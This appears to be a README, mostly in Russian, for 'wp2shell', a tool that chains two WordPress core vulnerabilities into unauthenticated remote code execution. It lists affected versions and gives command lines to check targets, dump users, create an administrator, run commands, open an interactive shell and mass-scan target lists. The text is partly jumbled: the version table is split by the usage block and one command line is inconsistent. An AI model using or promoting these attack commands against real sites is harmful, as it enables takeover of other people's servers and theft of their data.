johenlastgen-jlg/wp2shellwp2shell - WordPress RCE и PoC (CVE-2026-63030 + CVE-2026-60137)
Неаутентифицированное удалённое выполнение кода в ядре WordPress
автор: JohenLastGen
Этот инструмент объединяет две критические уязвимости WordPress для достижения неаутентифицированного RCE:
| Уязвимость | CVE | Описание |
|---|---|---|
| REST Batch Route Confusion | CVE-2026-63030 | Обход валидации, внедрение SQLi-полезной нагрузки |
| WP_Query author__not_in SQLi | CVE-2026-60137 | Инъекция необработанной строки → выполнение SQL |
Воздействие: Неаутентифицированный злоумышленник → создание администратора → выполнение команд
| Диапазон версий | Статус |
|---|---|
| WordPress 6.9.0 - 6.9.4 | ✅ УЯЗВИМА (Полная RCE-цепочка) |
#options:
-h, --help show this help message and exit
python3 wp2shell.py --help
# 1. Check if target is vulnerable
python3 wp2shell.py check https://target.com
# 2. Extract data (fingerprint/users)
python3 wp2shell.py read https://target.com --preset fingerprint
python2 wp2shell.py read https://target.com --preset users
# 3. RCE - Create admin & execute command (NO CREDENTIALS NEEDED!)
python3 wp2shell.py shell https://target.com --cmd "id"
# 4. Interactive shell
python3 wp2shell.py shell https://target.com --interactive
# 5. Mass scan multiple targets
python3 wp2shell.py scan targets.txt --threads 50 --prove --json results.json
| WordPress 7.0.0 - 7.0.1 | ✅ УЯЗВИМА (Полная RCE-цепочка) |
| WordPress 6.8.0 - 6.8.5 | ⚠️ Только SQLi (требуется вспомогательный плагин) |
| WordPress 6.9.5, 7.0.2+ | ❌ Исправлено |